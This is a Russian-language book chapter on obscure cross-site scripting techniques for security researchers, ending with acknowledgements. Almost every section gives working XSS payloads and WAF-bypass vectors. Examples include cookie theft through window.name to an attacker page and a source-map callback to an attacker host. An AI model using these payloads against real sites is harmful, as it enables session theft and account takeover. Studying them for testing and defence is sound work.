Первый приём помещает закрывающий элемент `script` внутрь строки JavaScript. В сообществе XSS он хорошо известен, но разработчик мог с ним не сталкиваться. Представьте отражение данных внутри строки JavaScript, где внедрённая кавычка правильно экранируется, а знаки «меньше» и «больше» - нет. Для эксплуатации внедрите в строку закрывающий тег `script`. Он закроет блок сценария и из-за незавершённой строки вызовет исключение JavaScript, после чего можно внедрить собственный HTML и получить XSS в целевом приложении.

```
<script>
let foo = "</script><img/src/onerror=alert(1337)>";
</script>
```

Уязвимость можно закрыть, экранировав прямую косую черту обратной. Это помешает закрытию `script`, однако далее мы увидим, что исправление не лучшее. Надёжнее кодировать знаки «меньше» и «больше» управляющими последовательностями Unicode, чтобы HTML внутри строки не отображался. Разумеется, обратные косые черты и кавычки тоже необходимо экранировать или кодировать.

8.2. Комментарии внутри сценариев

Можно решить, что экранирование прямой косой черты устраняет предыдущую уязвимость, но это не так. Предположим, существуют две точки внедрения: одна в переменной JavaScript, другая в атрибуте HTML. В первую можно вставить открывающий комментарий HTML и тег `script`, который нейтрализует закрывающий тег. Блок сценария продолжится до следующего `</script>`. Это показывает следующий код.

```
<script>
let foo = "<!--<script>";
</script>

<img title="</script><img/src/onerror=alert(1)>">
```

В действительности браузер отображает следующее:

```
<script>
let foo = "<!--<script>";
</script>

<img title="</script><img src="" onerror="alert(1)">"&gt;
```

Сочетание комментария HTML и открывающего `script` нейтрализует существующий закрывающий тег. Второй `</script>` закрывает блок, после чего код выходит из атрибута `title` и отображает элемент изображения.

8.3. HTML-сущности внутри сценария SVG

Можно подумать, что правильное экранирование предотвращает XSS внутри блоков сценария. Но с SVG всё иначе. Поскольку SVG является форматом XML, сущности внутри него декодируются; после обработки SVG JavaScript получает правильные незакодированные символы.

```
<svg>
<script>let foo = "&quot;-alert(1)///";</script>
</svg>
```

8.4. Сценарий без закрывающего элемента script

Казалось бы, блоку сценария всегда требуется закрывающий тег. По крайней мере в Firefox это неверно: внутри SVG элемент `script` может быть самозакрывающимся.

```
<svg><script href=data:,alert(1) />
```

Нужен именно атрибут `href`, поскольку мы находимся в SVG, а не HTML, и `src` там не поддерживается.

8.5. Полезные нагрузки в имени окна

Ещё один распространённый приём XSS использует `window.name` для скрытой передачи полезных нагрузок между доменами или страницами. Браузеры ограничивают его, удаляя имя при междоменной навигации верхнего уровня, но с фреймами метод по-прежнему работает.

```
<iframe src=//target name=alert(1)></iframe>

<!--целевая страница-->
<script>eval(name)</script>
```

Тем же способом можно спрятать cookie и получить их после перехода на подконтрольную страницу.

```
<script>name=document.cookie</script>
<a href="//attacker">test</a>

<!--Страница под управлением злоумышленника-->
<script>fetch('/collect-cookie', {method:"post",body:name})</script>
```

8.6. Протокол, допускающий присваивание

Недавно я обнаружил, что полезную нагрузку можно скрыть через свойство `protocol` объекта `location`. Этот метод лучше нагрузки в имени окна, поскольку не требует отдельной страницы. В JavaScript свойству `protocol` присваивается `javascript`. URL начинает обрабатываться как JavaScript, часть `http://` воспринимается как комментарий, а перевод строки во фрагменте или запросе позволяет выполнить произвольный JS.

```
location.protocol='javascript'

foo.html#%0aalert(1337)
```

К сожалению, браузеры исправили этот замечательный трюк. Сначала Safari пытался блокировать переводы строк, но разработчики забыли о разделителях абзаца и строки, которые тоже действуют в JavaScript как новые строки. Некоторое время в Safari работало следующее:

```
location.protocol='javascript'

foo.html#%E2%80%A8%E2%80%A9alert(1)
```

В последней версии это исправлено. Может быть, вы найдёте другой способ?

8.7. Карты исходного кода для обратных запросов

Карты исходного кода дают интересный способ вызвать DNS- или HTTP-взаимодействие и вывести данные. При внедрении внутрь однострочного комментария запрос карты позволяет вывести данные, стоящие после комментария. Есть одна проблема: у жертвы должны быть открыты DevTools. Впрочем, это можно обратить в свою пользу: обратный запрос почти наверняка означает, что DevTools действительно были открыты. Работает это так:

```
//# sourceMappingURL=https://attacker?
```

При вычислении комментария браузер запрашивает карту исходного кода. Приём работает также в `eval()` и других функциях. Потребуется внеполосный инструмент, например Burp Collaborator или Interactsh, поскольку DevTools не показывает запрос на вкладке Network.

8.8. Новый приёмник перенаправления

Chrome добавил новый способ клиентского перенаправления: `navigation.navigate()`. Метод принимает URL JavaScript, поэтому способен вызвать произвольный код. Достаточно передать ему URL JavaScript или HTTP.

```
navigation.navigate('javascript:alert(1337)')
```

8.9. Комментарии JavaScript

JavaScript поддерживает целый набор синтаксических форм комментариев. Однострочных разновидностей несколько:

```
#!
//
<!--
-->
```

Первая работает только как самая первая инструкция JavaScript; в другом месте возникает синтаксическая ошибка. Вторая - стандартный однострочный комментарий, допустимый почти в любом месте выражения или инструкции, кроме строки и подобных контекстов. Третья действует так же и была добавлена в первые годы интернета, когда сценарии поддерживались не всеми браузерами; она работает и сегодня.

Закрывающий комментарий HTML тоже разрешён в JavaScript и в начале строки действует как однострочный. Но поскольку последовательность потенциально разбирается как декремент и операция «больше», внутри произвольного выражения или инструкции она не поддерживается. Любой однострочный комментарий продолжается до символа новой строки: возврата каретки, перевода строки, разделителя абзаца или разделителя строки.

Насколько мне известно, многострочный комментарий в JavaScript только один: между прямой косой чертой со звёздочкой и звёздочкой с прямой косой чертой.

```
/*
Я многострочный комментарий
*/
```

8.10. Новые строки

JavaScript поддерживает несколько символов, разделяющих инструкции: возврат каретки, перевод строки, разделитель строки и разделитель абзаца.

```
eval('//\ralert(1337)');//возврат каретки
eval('//\nalert(1337)');//перевод строки
eval('//\u2028alert(1337)');//разделитель строки
eval('//\u2029alert(1337)');//разделитель абзаца
```

Если внедрение находится в однострочном комментарии, а WAF блокирует новую строку, стоит попробовать эти альтернативные символы.

8.11. Пробельные символы

В JavaScript много пробельных символов, и они помогают обходить примитивные WAF, которые регулярными выражениями ищут ключевые слова вроде `eval`. Ниже простой способ найти пробельные символы; в результат входят также новые строки, возврат каретки и разделители строки и абзаца.

```
log=[];
function funct(){}
    for(let i=0;i<=0x10ffff;i++){
        try{
            eval(`funct${String.fromCodePoint(i)}()`);
            log.push(i);
        }catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,
    8233,8239,8287,12288,65279
```

Можно использовать исходные символы либо закодировать их как HTML-сущности, если они находятся в SVG или атрибутах HTML:

```
<img/src/onerror=alert&#65279;(1)>
```

8.12. Динамический импорт

JavaScript позволяет динамически загружать модуль через `import()`. Это выражение похоже на обычную функцию, но движок JavaScript сам решает, действительно ли загрузка необходима. В нём можно указывать URL импорта, включая URL данных, который выполняет произвольный JavaScript.

```
import('data:text/javascript,alert(1)')
```

8.13. Пространство имён XHTML в XML

Если вы управляете XML-файлом с типом содержимого `text/xml`, выполнить JavaScript всё равно можно, добавив пространство имён XHTML.

```
<xml>
    <text>hello<img src="1" onerror="alert(1)"  /></text>
</xml>
```

Без пространства имён браузер отобразит код как XML в соответствующем режиме просмотра. Но стоит добавить пространство имён к `img`, и он будет отображён как XHTML.

```
<xml>
    <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></
    text>
</xml>
```

Это полезно при загрузке файлов или контроле ответа REST API с типом содержимого XML.

8.14. Загрузка SVG

Веб-приложения часто разрешают загружать изображения, но многие забывают, что документы SVG могут содержать сценарии. В отличие от SVG внутри HTML, документ SVG с правильным MIME-типом разбирается строже. Необходимо добавить верный атрибут пространства имён и соблюдать правила XML, например заключать все атрибуты в кавычки.

```
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
    width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>
```

Очевидный способ предотвратить эксплуатацию - фильтровать SVG. Если это невозможно, отдавайте файл с заголовком расположения содержимого и значением `attachment`:

```
Content-Disposition: attachment
```

Современный браузер не должен отображать такой SVG. Но есть оговорка: при встраивании через элемент `<use>` он всё равно будет отрисован.

8.15. Элементы use SVG

Как отмечалось выше, документ SVG можно встроить через элемент `<use>` и получить выполнение JavaScript, если документ находится в том же домене. Допустимы и URL данных:

```
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;
    image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```

Поскольку URL данных имеет допустимый MIME-тип SVG, применяются строгие правила разбора. Важно и то, что такой URL не выполняется из нулевого источника, а наследует источник страницы.

Вынужден сообщить, что в современном браузере это больше не работает: URL данных для элементов `use` теперь ограничены. Наверное, разработчики браузеров читают эту книгу =).

8.16. HTML-сущности

HTML предлагает множество вариантов кодирования. Рассмотрим разные способы представления символов сущностями и закончим каждый подраздел несколькими примерами.

8.16.1. Десятичные сущности

Разные символы можно представлять кодами. Десятичная сущность начинается с &# и завершается необязательной точкой с запятой. Например, код символа `j` равен 106. Чтобы получить его, соединим префикс с кодом и, при желании, точкой с запятой. Перед кодом допускается сколько угодно нулей.

```
<a href="&#106;avascript:alert(1337)">test1</a>
<a href="&#106avascript:alert(1337)">test2</a>
<a href="&#00000000106avascript:alert(1337)">test3</a>
```

Преобразовать символ в эту форму очень легко: переберите строку и для каждого символа получите код через `codePointAt()`.

```
'j'.codePointAt(0)
```

8.16.2. Шестнадцатеричные сущности

Они во многом похожи на десятичные, но используют префикс &#x, а код символа записывается в шестнадцатеричном виде. Точка с запятой снова необязательна. Однако если следующий символ допустим в шестнадцатеричной записи, сущность обозначит другой символ, поэтому нужно проверять продолжение.

```
<a href="&#x6a;avascript:alert(1337)">test1</a>
<a href="&#x6aavascript:alert(1337)">test2</a>
<a href="&#000000000x6a;avascript:alert(1337)">test3</a>
<a href="jav&#x61script:alert(1337)">test4</a>
```

Второй пример не работает, поскольку `a` является шестнадцатеричной цифрой и получается не требуемый символ `j`. Последний работает: `s` не входит в шестнадцатеричный набор, поэтому сущность завершается правильно. Для получения такой записи преобразуйте кодовую позицию в основание 16.

```
'j'.codePointAt(0).toString(16)
```

Если шестнадцатеричное значение начинается с нуля, его можно опустить:

```
<a href="java&#xascript:alert(1)">test</a>
```

8.16.3. Именованные сущности

HTML также поддерживает именованные сущности, представляющие символы определёнными именами. Самые известные, вероятно, `<` и `>`. У некоторых сущностей точка с запятой необязательна, но декодирование зависит от следующего символа.

```
<a href="#" onclick="alert(title)" title="&ltimg/src/onerror=alert(1)&gt">test1</a>
<a href="#" onclick="alert(title)" title="&lt!----&gt">test2</a>
```

В первом примере знак «больше» декодируется, а «меньше» - нет; во втором декодируются оба. Браузер ожидает точку с запятой либо продолжение имени сущности. Восклицательный знак не может продолжать допустимое имя, поэтому браузер понимает, что имелась в виду `<`.

8.16.4. Именованные сущности HTML5

HTML5 добавил множество новых сущностей, полезных для XSS. Они должны быть записаны полностью, с обязательной точкой с запятой. Вероятно, полезнее всего `&colon;`, позволяющая внедрить протокол JavaScript без буквального двоеточия.

```
<a href="javascript&colon;alert(1337)">test</a>
```

Другие примечательные сущности: `&lpar;`, `&rpar;`, `&bsol;`, `&lsqb;`, `&rsqb;`, `&lcub;`, `&rcub;`.

`&lpar;` превращается в открывающую круглую скобку, `&rpar;` - в закрывающую, `&bsol;` - в обратную косую черту, `&lsqb;` и `&rsqb;` - в квадратные скобки, `&lcub;` и `&rcub;` - в левую и правую фигурные скобки. Например:

> **Примечание переводчика.** В исходном предложении сущность обратной косой черты один раз ошибочно названа `&bol;`, тогда как в предшествующем перечне правильно указана `&bsol;`.

```
<a href="javascript&colon;alert&lpar;1337&rpar;">test</a>
```

Существуют даже сущности новой строки и табуляции. Как мы узнали в главе о фаззинге, их можно помещать внутрь протокола JavaScript.

```
<a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">test</a>
```

Если URL JavaScript удалось внедрить, но WAF блокирует круглые скобки, воспользуйтесь именованными сущностями обратной кавычки. Их две, и обе работают:

```
<a href="javascript:alert&grave;1337&grave;">test</a>
<a href="javascript:alert&DiacriticalGrave;1337&DiacriticalGrave;">test</a>
```

8.17. События

8.17.1. onafterscriptexecute

Многие интересные события срабатывают без участия пользователя и потому особенно полезны: жертву не приходится убеждать что-либо щёлкнуть. Я выделю малоизвестные события, подходящие для обхода фильтров и WAF. Событие `onafterscriptexecute` имеется только в Firefox и, как следует из названия, срабатывает после выполнения сценария. Оно работает с любым тегом; единственный недостаток - внутри внедрённого тега должен находиться сценарий.

```
<xss onafterscriptexecute=alert(1)><script>1</script>
```

Можно внедрить только открывающий тег, а уже существующий сценарий загрузится внутри и вызовет событие. Связанное событие `onbeforescriptexecute` также существует только в Firefox и требует имеющегося сценария.

8.17.2. ontoggle

Этот приём, вероятно, известнее остальных. `ontoggle` срабатывает автоматически, если принудительно раскрыть элемент `details`.

```
<details ontoggle=alert(1) open>test</details>
```

8.17.3. onunhandledrejection

Сравнительно малоизвестное событие работает только в Firefox и требует промис без предложения `catch`. Для эксплуатации на сайте должен существовать сценарий с необработанным отклонением промиса.

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

8.17.4. onbegin

SVG содержит много интересных событий. `onbegin` срабатывает при запуске анимации и имеет короткое имя, что всегда хорошо для XSS-нагрузки. Нужен тег `animate` с атрибутом, который следует анимировать, и продолжительностью.

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

Связанное событие `onend` срабатывает по завершении анимации и также требует продолжительность и анимируемый атрибут.

8.17.5. События навигации

Некоторые события требуют навигации. Например, `onpopstate` срабатывает при изменении истории. Для его вызова нужно каким-либо образом изменить URL цели, вероятнее всего через фрейм. В междоменном фрейме `alert()` не работает, поэтому вместо неё используйте `print()`.

```
<body onpopstate=alert(1)><script>location.hash=1</script>

<iframe src="//target?x=<body/onpopstate=print()>" onload=this.src%2b='%23'>
```

Фрейм может изменить фрагмент URL и вызвать, например, `hashchange`:

```
<iframe src="//target?x=<body/onhashchange=print()>" onload=this.src%2b='%23'>
```

8.17.6. onmessage

Через фрейм можно загрузить внешний URL с внедрённым обработчиком `onmessage`, а затем вызвать событие методом `postMessage`:

```
<iframe src="//target?x=<body/onmessage=print()>" onload=this.contentWindow.postMessage('x',
    '*')>
```

8.17.7. onfocus

Обычно это событие вызывают на `textarea` или `input` атрибутом `autofocus`. Но через `tabindex` и `id` оно работает и с другими элементами. Атрибут доступности `tabindex` определяет порядок выбора элементов клавишей Tab. В сочетании с `id` и фрагментом URL он автоматически передаёт элементу фокус.

```
<x onfocus=alert(1) id=x tabindex=1>

somepage.html#x
```

Есть и другой трюк. По крайней мере в Chrome `autofocus` разрешён на любом элементе, если одновременно задан `tabindex`. Тогда не нужны ни `id`, ни фрагмент.

```
<x onfocus=alert(1) autofocus tabindex=1>
```

Связанное событие `onfocusin` помогает обойти WAF и обладает тем же поведением.

8.17.8. События анимации

Хорошо известно, что переходы и анимации CSS вызывают события на любом теге. Если вы не знакомы с этим приёмом, вот пример:

```
<style>:target {color: red;}</style>
<xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>

somepage.html#x
```

Селектор `:target` меняет стиль элемента, когда во фрагменте URL найден соответствующий `id`, и это вызывает событие. Недостаток - блок `style`, вероятно, будет запрещён WAF или фильтром. Но можно применить описанную выше передачу фокуса. Chrome добавляет сфокусированному элементу контур CSS; переход для меняющегося контура вызовет событие.

```
<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>

somepage.html#x
```

Если это событие трудно внедрить, существует вариант WebKit.

```
<xss id=x style="transition:outline 1s" onwebkittransitionend=alert(1) tabindex=1></xss>

somepage.html#x
```

8.17.9. onscrollend

Firefox представил, а затем Chrome реализовал новое событие `onscrollend`. Оно, как следует из имени, выполняется после прокрутки элемента. Особенно удобно, что оно относится ко всем прокручиваемым элементам, а таких очень много. Достаточно стилей, принудительно создающих прокрутку. Через `id` и описанный выше приём фокуса элемент прокручивается, автоматически выполняя JavaScript.

```
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;
    height:100px;
    "><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><b
    r><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
```

8.18. XSS в скрытых полях ввода

Возможно, вам встречалась XSS-инъекция в атрибуте скрытого `input`, где угловые скобки закодированы. Из-за малого числа событий, работающих со скрытыми полями, вызвать `alert` могло не получиться. Не бойтесь: способ существует, хотя требует активного участия пользователя. Ключом служит `accesskey`, назначающий элементу клавишу и вызывающий события при её нажатии. Атрибут предназначен для доступности и навигации с клавиатурой или экранным диктором, но годится и для XSS.

В следующем примере скрытому полю назначены клавиша `X` и событие `onclick`.

```
<input type="hidden" accesskey="X" onclick="alert(1)">
```

При нажатии Alt+Shift+X в Windows или Ctrl+Alt+X в OS X событие `onclick` срабатывает, хотя поле скрыто. Это работает и с другими элементами, например `link`:

```
<link rel="canonical" accesskey="X" onclick="alert(1)" />
```

Chrome и Firefox поддерживают поведение, но сочетание клавиш может различаться. Я указал клавиши Chrome.

8.19. Всплывающие элементы

Chrome добавил увлекательную возможность HTML под названием Popovers. Она создаёт всплывающие модальные окна только средствами HTML, фактически наделяя HTML состоянием и открывая новые XSS-векторы.

Имеются цель всплывающего элемента, то есть модальное окно, и ссылка либо кнопка, указывающая на него.

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover>Hello world!</div>
```

У кнопки задан `popovertarget`, связывающий её с модальным окном. У `div` есть идентификатор всплывающего элемента и атрибут `popover`, который превращает элемент во всплывающий и скрывает его. После щелчка кнопки `div` показывается с сообщением `Hello world!`.

Чем это полезно для XSS? Возможность вводит новые события и позволяет выполнять их на любом теге, потенциально запуская JavaScript даже из `meta` и других элементов.

Добавим к модальному `div` событие и посмотрим на `onbeforetoggle`:

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover onbeforetoggle=alert(1)>Hello world!</div>
```

Есть и `ontoggle`, выполняемое при переключении состояния модального окна:

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover ontoggle=alert(1)>Hello world!</div>
```

Недавно я написал об этом в блоге, и мой друг Марио Хайдерих заметил, что события работают даже со скрытыми полями ввода.

```
<button popovertarget=myPopup>Click me</button>

<input type=hidden id=myPopup onbeforetoggle=alert(1) popover>
```

Можно было бы ожидать, что скрытые поля нельзя превращать во всплывающие элементы, но Chrome это разрешает; возможно, разрешат и другие браузеры. Это полезно, когда внедрение находится в скрытом `input`, а угловые скобки кодируются. Можно нацелиться на существующий всплывающий элемент страницы, при условии что точка внедрения расположена раньше, и выполнить JavaScript через `onbeforetoggle`, когда пользователь щёлкнет существующую кнопку или ссылку.

Матиас Карлссон также отметил, что всплывающие элементы работают с `meta`. Обычно большинство событий на `meta` выполнить нельзя, но благодаря Popovers доступны `ontoggle` и `onbeforetoggle`, если на странице имеется существующий всплывающий элемент.

```
<head>
<!-- Внедрение происходит внутри атрибута meta -->
<meta name="apple-mobile-web-app-title" content="Twitter" popover id=newsletter
    onbeforetoggle=alert(1) />
</head>
<body>
<!-- Существующий код -->
<button popovertarget=newsletter>Subscribe to my newsletter</button>
<div popover id=newsletter>My news letter popup</div>
<!-- Конец существующего кода -->
</body>
```

В этом вымышленном приложении существующий код позволяет подписаться на рассылку и показывает диалог через всплывающий элемент. Кроме того, внутри атрибута `meta` имеется уязвимость внедрения. Угловые скобки кодируются, поэтому можно добавлять только атрибуты. Но тег `meta` находится раньше, что позволяет перехватить существующий всплывающий элемент. В результате `onbeforetoggle` сработает при щелчке существующей кнопки `Subscribe to my newsletter`.

8.20. Итоги

В этой главе мы рассмотрели очень многое. По сути, я постарался выгрузить из головы все вспомнившиеся малоизвестные приёмы и ответы на вопросы из Twitter. Сначала мы узнали, как закрывать сценарии без закрывающего тега, затем злоупотребляли комментариями HTML внутри сценариев и сущностями HTML внутри SVG, передавали полезные нагрузки и cookie через `window.name`. Мы научились отправлять обратный запрос на сервер злоумышленника с помощью карт исходного кода. Потом продемонстрировали новый приёмник JavaScript `navigate()`, работающий в Chrome. Далее разобрали все комментарии и пробельные символы JavaScript, динамический импорт с URL данных и получение HTML внутри документа XML. Затем рассмотрели загрузку SVG и элементы `use`, после них - сущности HTML, а в завершение - несколько малоизвестных событий JavaScript.

9. Благодарности

Хотя эту книгу написал я, я делал это не в одиночку. Благодарю замечательных хакеров, которые делятся своими знаниями в интернете. Многие описанные в книге приёмы были открыты хакерами, обменивавшимися знаниями и учившимися вместе.

Огромное спасибо:

James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, S0PAS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, laytonctf.